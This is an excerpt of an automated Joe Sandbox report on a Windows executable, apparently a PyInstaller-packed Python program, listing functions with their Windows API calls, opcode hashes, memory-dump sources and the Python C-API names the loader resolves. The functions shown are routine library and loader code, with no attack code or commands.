Instruction Fuzzy Hash: 1E118F7260C60286FB94AB55A80183EF7B0EF84761F904279F69E819D8EF2CD005CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8869C Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA88519), ref: 00007FF72AA886BF
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA88519), ref: 00007FF72AA886D5

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: c01ff3a2a11960581671d504f9b8c47b5ef938e1e8c71af115ecd984c59071e9
Instruction ID: 49c28024d228f8f618361da164bf654bb7902b9519a0e6ded4483b1f874dea1d
Opcode Fuzzy Hash: c01ff3a2a11960581671d504f9b8c47b5ef938e1e8c71af115ecd984c59071e9
Instruction Fuzzy Hash: F6017C2250C692C6F754AB14A801A3EF3B1FF857A1FA00276E6A9019D8EF3CD002CF20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8B4EC Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF72AA93972,?,?,?,00007FF72AA939AF,?,?,00000000,00007FF72AA93E75,?,?,00000000,00007FF72AA93DA7), ref: 00007FF72AA8B502
GetLastError.KERNEL32(?,?,?,00007FF72AA93972,?,?,?,00007FF72AA939AF,?,?,00000000,00007FF72AA93E75,?,?,00000000,00007FF72AA93DA7), ref: 00007FF72AA8B50C

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: c6b9e98d984d24e8bfd8e8ff83776c8447130b112ec08e9122362d67c2677dc5
Instruction ID: 7fb050b589434ca671ef04ea197496c47afe35ac59e6c7500756b8313b7eb0e8
Opcode Fuzzy Hash: c6b9e98d984d24e8bfd8e8ff83776c8447130b112ec08e9122362d67c2677dc5
Instruction Fuzzy Hash: 60E08650F0A6038AFF187BB15C45C79D571DF98B00FC444B4DD0E46251EE2C69474E30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA88404 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF72AA88408
GetLastError.KERNEL32 ref: 00007FF72AA88412

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 25cba87855c0571564d380caaddad194b65a7b1ee83bb0c7e49656b6643110b8
Instruction ID: 138a907d94366ff6315cd835b45be5bc55cacc9c1a2da670379e2b217ba43fb5
Opcode Fuzzy Hash: 25cba87855c0571564d380caaddad194b65a7b1ee83bb0c7e49656b6643110b8
Instruction Fuzzy Hash: 31D0C914E5D9038AF7543BB15C89D3991B0DF58B61FD006B0C41A801D1DE1CA1870A21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA88C88 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF72AA88C8C
GetLastError.KERNEL32 ref: 00007FF72AA88C96

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 94f9cb437eb1ff87f9bc785627a082ceb46c643cc627e045b1becda1a3c124ee
Instruction ID: 7ff5c43fe99b5bb18ca8585afc5e23cbca4ae27b17a2a7557eaa5ff7890dbedf
Opcode Fuzzy Hash: 94f9cb437eb1ff87f9bc785627a082ceb46c643cc627e045b1becda1a3c124ee
Instruction Fuzzy Hash: 01D0C950E1A903CAF7583BB61C8983891B0EF88761FD006B0C41A811D4DE2CA2470E21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA77D40 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72AA78BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF72AA72A9B), ref: 00007FF72AA78C0A

_findclose.LIBCMT ref: 00007FF72AA77F99

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: 48f146a0b58ba69d35d10fb74dcf7020fe44260969c36ff7d18f8529940cc898
Instruction ID: 4ca3505b2c83edd10d598361426667361e58f755cd6266ef50fe645b822590f1
Opcode Fuzzy Hash: 48f146a0b58ba69d35d10fb74dcf7020fe44260969c36ff7d18f8529940cc898
Instruction Fuzzy Hash: DF717152E18AC581E711DB2CD9452FDA370FBA9B4CF94E321DB9C12552EF28E2D5CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8CA4C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA8CA74

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9bd69e230f0d3b0e5758ab1338c67e81032152045ba6d69f05b41d5745cc01d1
Instruction ID: 3319a0b940b15b2434510aff1330be5c743b9f779685592e679341703af6907f
Opcode Fuzzy Hash: 9bd69e230f0d3b0e5758ab1338c67e81032152045ba6d69f05b41d5745cc01d1
Instruction Fuzzy Hash: E441913290A6428BFB24EE19E941A79F7B1EF56B91F940171D68E426D1CF2CE443CE60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA782B0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF72AA7835A

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 4ac7791aa6530d53889ae2cf6e96e06d6373f6c7274d4006fa6c7a0f2d2963ab
Instruction ID: b9357857b2eafbc9a8360a34b5baeb1b5c30ea287ec7a9e8a49acca020236de2
Opcode Fuzzy Hash: 4ac7791aa6530d53889ae2cf6e96e06d6373f6c7274d4006fa6c7a0f2d2963ab
Instruction Fuzzy Hash: 26218022B0825246FB54BA166D04BBFE661FF49BD4FC85470EE4D07786CE3DE0838A24

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8C4DC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA8C562

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b8e14b5e39437f3a23779871e591f8317b8e1be46d6eca35f9beed21127490c6
Instruction ID: 2948b20c80ea5101355905d8121ab47c87280779e8b3b4974a930de4dca028a4
Opcode Fuzzy Hash: b8e14b5e39437f3a23779871e591f8317b8e1be46d6eca35f9beed21127490c6
Instruction Fuzzy Hash: 24319E61A196428AFB19BF158C85B78E670EF44F95F8102B9EA1D073D2CE7CE4438E31

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8A4D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF72AA8A4FF

Part of subcall function 00007FF72AA8A5F8: GetModuleHandleExW.KERNEL32 ref: 00007FF72AA8A61D
Part of subcall function 00007FF72AA8A5F8: GetProcAddress.KERNEL32 ref: 00007FF72AA8A633
Part of subcall function 00007FF72AA8A5F8: FreeLibrary.KERNEL32 ref: 00007FF72AA8A65A

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 1e818ce3d7a60ac953b6edb356e5c611bf03bd3223dab8e8a1ec707a6cadd3f1
Instruction ID: 05f130ed94eaf78526e3bf20ac5885aca4897d446cfaaca7eac7e055c6fc0110
Opcode Fuzzy Hash: 1e818ce3d7a60ac953b6edb356e5c611bf03bd3223dab8e8a1ec707a6cadd3f1
Instruction Fuzzy Hash: 81217CB2A057428EFB68AF64C840BAC77B0FF04718F854679D61E06AC5DF38D586CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA86A88 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA869ED

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction ID: 4eab4fc45c2c619bb1397272ca11f6b2d7bcbf59791332550d4098a455a68308
Opcode Fuzzy Hash: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction Fuzzy Hash: 02116D21A1C68289FB60BF559C01A79E3B0FF84B84F944471EB8C57686CF7DD4428F60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA9728C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA972AF

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a2fd61d2380c2417d5794f115bbf4a656e75441d4a409d8b240f29f696bd49a
Instruction ID: a0e52b25e818f4706c880be1045f5c2ee3944d1cb9d8d08b36015e9206bc8b24
Opcode Fuzzy Hash: 5a2fd61d2380c2417d5794f115bbf4a656e75441d4a409d8b240f29f696bd49a
Instruction Fuzzy Hash: EA21C532A18A4286FB61AF18DC40B79B7B0EF84B94F944634EA5D476D9DF3DD5028F20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA80ADC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA80B30

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f9b91d952c5f5bbb27c286856a89106101f2e0992174c8f8af0f54b7d3c9b46c
Instruction ID: 2a012fd6d6e00fb1e8e341d958f15f0d0cdc2c355fee5a878f7333d38a3f7a88
Opcode Fuzzy Hash: f9b91d952c5f5bbb27c286856a89106101f2e0992174c8f8af0f54b7d3c9b46c
Instruction Fuzzy Hash: 7F01A521A0874244FB04FB529D01869E6B5FF85FE4F9846B0EE6C57BDACE3CD5128B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8F738 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF72AA8BF86,?,?,?,00007FF72AA8B147,?,?,00000000,00007FF72AA8B3E2), ref: 00007FF72AA8F78D

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fe294415788ef69df4791d37b3f3bc23e16fbf5a99c7a053f345730c87ab0e5c
Instruction ID: 588d185629e47d84b3e8f7b11844f6a452c85723f0b50912f8bc75bf9567ba34
Opcode Fuzzy Hash: fe294415788ef69df4791d37b3f3bc23e16fbf5a99c7a053f345730c87ab0e5c
Instruction Fuzzy Hash: A5F06D18B0A6074DFF5476615D51AB9D2B0DF88B80FCC44B2C90E862D1DE2DE5838A30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8E19C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF72AA81304,?,?,?,00007FF72AA82816,?,?,?,?,?,00007FF72AA83E09), ref: 00007FF72AA8E1DA

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f8a53f2717aa9a418a153665f15f668aef4399ea448e79edee1d71d72a1e7fd0
Instruction ID: 8615d15f8c131aa371d6c2217a592766dce7194788043a5a92e85ae17e35f558
Opcode Fuzzy Hash: f8a53f2717aa9a418a153665f15f668aef4399ea448e79edee1d71d72a1e7fd0
Instruction Fuzzy Hash: 04F0F828B096478DFB6476615D41EB6D2A0DFA47A0F8846B0ED2E866C1DE2CE5828D30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA783E0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 7e1da00ca9488ba9f8c26a1434a4c92b0e41dc958698a2dc8e9c758257d60df6
Instruction ID: f00bde1d68b8930c0927ae3ad166ae2fe434674d41314c94437ef5a2ac6551b0
Opcode Fuzzy Hash: 7e1da00ca9488ba9f8c26a1434a4c92b0e41dc958698a2dc8e9c758257d60df6
Instruction Fuzzy Hash: 1641C516D0C68181F751AB24DD016FEA370FFA9784F849272DB8D42193EF28E6DAC720

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF72AA751E0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF72AA7344E), ref: 00007FF72AA751F0
GetProcAddress.KERNEL32(?,?,00000000,00007FF72AA7344E), ref: 00007FF72AA7522A
GetProcAddress.KERNEL32(?,?,00000000,00007FF72AA7344E), ref: 00007FF72AA7524F
GetProcAddress.KERNEL32(?,?,00000000,00007FF72AA7344E), ref: 00007FF72AA75274
GetProcAddress.KERNEL32(?,?,00000000,00007FF72AA7344E), ref: 00007FF72AA7529C
GetProcAddress.KERNEL32(?,?,00000000,00007FF72AA7344E), ref: 00007FF72AA752C4
GetProcAddress.KERNEL32(?,?,00000000,00007FF72AA7344E), ref: 00007FF72AA752EC
GetProcAddress.KERNEL32(?,?,00000000,00007FF72AA7344E), ref: 00007FF72AA75314
GetProcAddress.KERNEL32(?,?,00000000,00007FF72AA7344E), ref: 00007FF72AA7533C
GetProcAddress.KERNEL32(?,?,00000000,00007FF72AA7344E), ref: 00007FF72AA75364

Strings

PyMarshal_ReadObjectFromString, xrefs: 00007FF72AA755B2
Py_DecodeLocale, xrefs: 00007FF72AA75220
PyList_Append, xrefs: 00007FF72AA7558A
PyErr_Fetch, xrefs: 00007FF72AA75422
PyImport_ImportModule, xrefs: 00007FF72AA75562
PyUnicode_Replace, xrefs: 00007FF72AA758AA
PyImport_AddModule, xrefs: 00007FF72AA75512
GetProcAddress, xrefs: 00007FF72AA75209
Py_DecRef, xrefs: 00007FF72AA751E6
Failed to get address for PyImport_AddModule, xrefs: 00007FF72AA7552E
PyUnicode_FromString, xrefs: 00007FF72AA7585A
Failed to get address for PySys_GetObject, xrefs: 00007FF72AA75786
PyObject_SetAttrString, xrefs: 00007FF72AA756A2
Failed to get address for PyUnicode_Replace, xrefs: 00007FF72AA758C6
Failed to get address for PyUnicode_FromString, xrefs: 00007FF72AA75876
Failed to get address for PyErr_Occurred, xrefs: 00007FF72AA7548E
Failed to get address for PyList_Append, xrefs: 00007FF72AA755A6
PyConfig_SetBytesString, xrefs: 00007FF72AA75382
PyErr_NormalizeException, xrefs: 00007FF72AA7544A
Py_InitializeFromConfig, xrefs: 00007FF72AA75292
Failed to get address for PyObject_Str, xrefs: 00007FF72AA756E6
PyObject_GetAttrString, xrefs: 00007FF72AA7567A
PyStatus_Exception, xrefs: 00007FF72AA75742
Failed to get address for PySys_SetObject, xrefs: 00007FF72AA757AE
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF72AA756F2
PyObject_Str, xrefs: 00007FF72AA756CA
PyErr_Print, xrefs: 00007FF72AA7549A
PySys_SetObject, xrefs: 00007FF72AA75792
Failed to get address for Py_PreInitialize, xrefs: 00007FF72AA752FE
Failed to get address for PyEval_EvalCode, xrefs: 00007FF72AA75506
Failed to get address for Py_DecodeLocale, xrefs: 00007FF72AA7523C
PyMem_RawFree, xrefs: 00007FF72AA755DA
PyUnicode_Join, xrefs: 00007FF72AA75882
PySys_GetObject, xrefs: 00007FF72AA7576A
Py_IsInitialized, xrefs: 00007FF72AA752BA
Failed to get address for PyConfig_SetString, xrefs: 00007FF72AA753C6
Failed to get address for PyErr_Print, xrefs: 00007FF72AA754B6
PyConfig_SetWideStringList, xrefs: 00007FF72AA753D2
PyEval_EvalCode, xrefs: 00007FF72AA754EA
PyObject_CallFunction, xrefs: 00007FF72AA7562A
Failed to get address for PyPreConfig_InitIsolatedConfig, xrefs: 00007FF72AA7570E
Failed to get address for PyUnicode_Join, xrefs: 00007FF72AA7589E
PyErr_Occurred, xrefs: 00007FF72AA75472
PyConfig_InitIsolatedConfig, xrefs: 00007FF72AA75332
PyRun_SimpleStringFlags, xrefs: 00007FF72AA7571A
PyImport_ExecCodeModule, xrefs: 00007FF72AA7553A
Failed to get address for PyConfig_SetWideStringList, xrefs: 00007FF72AA753EE
PyObject_CallFunctionObjArgs, xrefs: 00007FF72AA75652
Failed to get address for PyModule_GetDict, xrefs: 00007FF72AA7561E
PyUnicode_Decode, xrefs: 00007FF72AA757E2
PyConfig_Clear, xrefs: 00007FF72AA7530A
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF72AA756BE
Failed to get address for PyUnicode_Decode, xrefs: 00007FF72AA757FE
PyConfig_Read, xrefs: 00007FF72AA7535A
PyUnicode_FromFormat, xrefs: 00007FF72AA75832
PyErr_Clear, xrefs: 00007FF72AA753FA
Failed to get address for PyConfig_Read, xrefs: 00007FF72AA75376
PyConfig_SetString, xrefs: 00007FF72AA753AA
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF72AA755CE
Failed to get address for PyErr_Fetch, xrefs: 00007FF72AA7543E
Py_Finalize, xrefs: 00007FF72AA7526A
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF72AA75466
PyErr_Restore, xrefs: 00007FF72AA754C2
